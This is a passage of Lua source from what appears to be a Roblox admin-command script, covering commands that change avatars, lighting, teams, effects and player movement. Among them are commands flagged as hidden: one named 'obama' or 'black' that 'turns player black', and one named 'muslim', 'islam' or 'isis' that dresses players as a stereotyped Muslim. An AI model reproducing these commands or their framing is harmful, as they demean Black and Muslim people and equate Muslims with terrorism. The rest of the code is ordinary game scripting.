Stat.Value = Arguments[3] end) end end end end end}; [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) local ID = tonumber(Arguments[2]) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do for _,Player in pairs(Players) do if Player.Character ~= nil then local Obj = Player.Character:FindFirstChild("Shirt") if Obj then Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) else Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) end coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)() end end end end}; [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) local ID = tonumber(Arguments[2]) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do for _,Player in pairs(Players) do if Player.Character ~= nil then local Obj = Player.Character:FindFirstChild("Pants") if Obj then Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) else Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID) end coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)() end end end end}; [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) local ID = tonumber(Arguments[2]) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do for _,Player in pairs(Players) do if Player.Character ~= nil then if Player.Character:FindFirstChild("Torso") then local Obj1 = Player.Character:FindFirstChild("Shirt Graphic") local Obj2 = Player.Character.Torso:FindFirstChild("roblox") if Obj1 then Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID) else Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID) end if Obj2 then Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) else Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front" end coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)() coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)() end end end end end}; [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker) end end}; [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments) if CORE:InAdminGroup(Speaker) then local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") then local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1) local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1) local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464" local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689" CORE:ExecuteResource("CookieTool", Tool) end end end end}; [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments) if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))}) end end}; [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments) if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage")) Model:MakeJoints() for i = 1,math.random(10,20) do Model.Name = Model.Name..string.char(math.random(97,122)) end if Model:GetChildren()[1] then table.insert(Objects, Model) CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model}) end end end}; [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) local ID = tonumber(Arguments[2]) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]}) end end end}; [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then local StopAnim = Player.Character:FindFirstChild("Stop MML Animate") if StopAnim then StopAnim:Destroy() end end end end}; [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255) end end}; [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[1]) then Server.Lighting.Brightness = tonumber(Arguments[1]) end end}; [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:CoreGui(Player, "PlayerList", true) end end}; [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local Players = STRING:Scan(Arguments[1], Speaker) GUI:CoreGui(Player, "PlayerList", false) end end}; [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments) GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865) end, Hidden = true}; [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, 1337, false, Speaker) end end, Hidden = true}; [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then ypcall(function() Player.Character.Torso.roblox:Destroy() end) Player:ClearCharacterAppearance() CORE:Insert(12436480, Player.Character, true) Player.Character.Head.face.Texture = "rbxassetid://110287880" Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436" Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483" end end end, Hidden = true}; [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, 0, false, Speaker) end end}; [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments) local Bet = Arguments[1] if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error") elseif #Bet > 5 then GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error") else local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"}) if Answer == "Yes" then local OldBet = Settings.Bet CORE:ChangeBet(Bet) GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me") end end end}; [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments) local Prefix = Arguments[1] if #Prefix > 5 then GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error") else local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"}) if Answer == "Yes" then local OldPrefix = Settings.Prefix Settings.Prefix = Prefix GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me") end end end}; [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments) GUI:CommandBar(Speaker) end}; [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments) GUI:CommandBar(Speaker) PermCommandBars[Speaker.Name] = true end}; [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments) PermCommandBars[Speaker.Name] = nil end}; [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do PermCommandBars[Player.Name] = nil end end}; [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments) CORE:CreateFigure("Dummy", nil, true, Speaker) end}; [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments) CORE:CreateFigure(Arguments[1], nil, true, Speaker) end}; [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ClonePlayer(Player) end end}; [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ClonePlayer(Player, Arguments[2]) end end}; [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments) for _,Obj in pairs(Objects) do if Obj then Obj:Destroy() end end for Name,Jail in pairs(Jails) do if not game.Players:FindFirstChild(Name) then Jail:Destroy() Jails[Name] = nil end end Objects = {} end}; [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments) for _,Obj in pairs(Server.Workspace:GetChildren()) do if Obj:IsA("Hat") or Obj:IsA("Tool") then Obj:Destroy() end end end}; [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles) end end end}; [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire) end end end}; [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke) end end end}; [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then for _,Get in pairs(Player.Character.Torso:GetChildren()) do if Get:IsA("Sparkles") then Get:Destroy() end end end end end}; [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then for _,Get in pairs(Player.Character.Torso:GetChildren()) do if Get:IsA("Fire") then Get:Destroy() end end end end end}; [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then for _,Get in pairs(Player.Character.Torso:GetChildren()) do if Get:IsA("Smoke") then Get:Destroy() end end end end end}; [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play() local Boom = Instance.new("Explosion", Workspace) Boom.Position = Player.Character.Torso.Position end end end}; [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then coroutine.wrap(function() for i = 1,50 do local Boom = Instance.new("Explosion", Workspace) Boom.Position = Player.Character.Torso.Position wait() end end)() coroutine.wrap(function() for i = 1,5 do SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play() end end)() end end end}; [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0) CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end) end end end}; [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end end end end}; [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then Player.Character.Parent = Server.Lighting end end end}; [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then Player.Character.Parent = Server.Workspace Player.Character:MakeJoints() end end end}; [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.PlatformStand = true end end end}; [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.PlatformStand = false end end end}; [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.Jump = true end end end}; [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.Sit = true end end end}; [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.Sit = false end end end}; [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0) end end end}; [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end end end end}; [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments) GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information") end}; [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments) local Color = "Blue" local String = Arguments[2] local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet) if #ChatSplit >= 2 then if string.lower(ChatSplit[1]) == "green" then Color = "Green" String = ChatSplit[2] elseif string.lower(ChatSplit[1]) == "red" then Color = "Red" String = ChatSplit[2] end end local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") then game:GetService("Chat"):Chat(Player.Character.Head, String, Color) end end end}; [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()}) end end end}; [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local ID = nil if tonumber(Arguments[2]) ~= nil then ID = MARKET:GetImageFormat(tonumber(Arguments[2])) else for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do for _,Face in pairs(FaceTable) do if string.lower(Arguments[2]) == string.lower(Face) then ID = FaceID break end end end end if ID then for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then Player.Character.Head.face.Texture = "rbxassetid://"..ID pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end) end end end end}; [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local ID = MARKET:GetImageFormat(tonumber(Arguments[2])) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") then local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0) end end end}; [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Head") then local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end end end end}; [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments) REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker) end}; [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log") end}; [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local ExistingData = Player:LoadInstance("Data") if ExistingData == nil then ExistingData = Instance.new("Configuration") end ExistingData.Name = "Player Data" local Key = Instance.new("Configuration", ExistingData) Key.Name = Arguments[2] Player:SaveInstance("Data", ExistingData) end end}; [{"removenote"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Data = Arguments[2] for _,Player in pairs(Players) do local ExistingData = Player:LoadInstance("Data") if ExistingData ~= nil then if string.lower(Data) == "all" then ExistingData:ClearAllChildren() else for _,DataObj in pairs(ExistingData:GetChildren()) do if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then DataObj:Destroy() end end end end Player:SaveInstance("Data", ExistingData) end end}; [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local DataSet = {} for _,Player in pairs(Players) do local ExistingData = Player:LoadInstance("Data") if ExistingData ~= nil then if #ExistingData:GetChildren() ~= 0 then for _,Data in pairs(ExistingData:GetChildren()) do table.insert(DataSet, Player.Name..": "..Data.Name) end else table.insert(DataSet, "Data does not exist for "..Player.Name) end else table.insert(DataSet, "Data does not exist for "..Player.Name) end end GUI:ListGui(Speaker, "Notes", DataSet) end}; [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.WalkSpeed = 16 end end end}; [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Humanoid") then Player.Character.Humanoid.WalkSpeed = -16 end end end}; [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments) local TeamColor = BrickColor.random() local TeamName = Arguments[1] local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ") if #TeamNameSplit >= 2 then local Color = TeamNameSplit[1] local NewTeamName = TeamNameSplit[2] if Color == "Medium stone grey" then TeamColor = BrickColor.new(Color) TeamName = NewTeamName elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then TeamColor = BrickColor.new(Color) TeamName = NewTeamName elseif Colors[string.upper(Color)] then TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color))) TeamName = NewTeamName end end local NewTeam = Instance.new("Team", Server.Teams) NewTeam.TeamColor = TeamColor NewTeam.Name = TeamName end}; [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do Player.Neutral = true end end}; [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) if string.lower(Arguments[2]) == "none" then for _,Player in pairs(Players) do Player.Neutral = true end else for _,Obj in pairs(Server.Teams:GetChildren()) do if Obj:IsA("Team") then if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then for _,Player in pairs(Players) do Player.Neutral = false Player.TeamColor = Obj.TeamColor end end end end end end}; [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments) for _,Obj in pairs(Server.Teams:GetChildren()) do if Obj:IsA("Team") then if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.TeamColor == Obj.TeamColor then Player.Neutral = true end end Obj:Destroy() end end end end}; [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments) for _,Player in pairs(Server.Players:GetPlayers()) do Player.Neutral = true end for _,Obj in pairs(Server.Teams:GetChildren()) do if Obj:IsA("Team") then Obj:Destroy() end end end}; [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments) for _,Player in pairs(Server.Players:GetPlayers()) do GUI:Countdown(Player, Arguments[1]) end end}; [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("Backpack") then CORE:ExecuteResource("ShowAd", Player.Backpack) end end end}; [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then for PosName,WP in pairs(Waypoints) do if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then Player.Character:MoveTo(WP + Vector3.new(0,0.5,0)) break end end end end end}; [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments) CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker) end}; [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments) local Num = 0 for PosName,WP in pairs(Waypoints) do Num = Num + 1 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then Waypoints[PosName] = nil end end end}; [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, 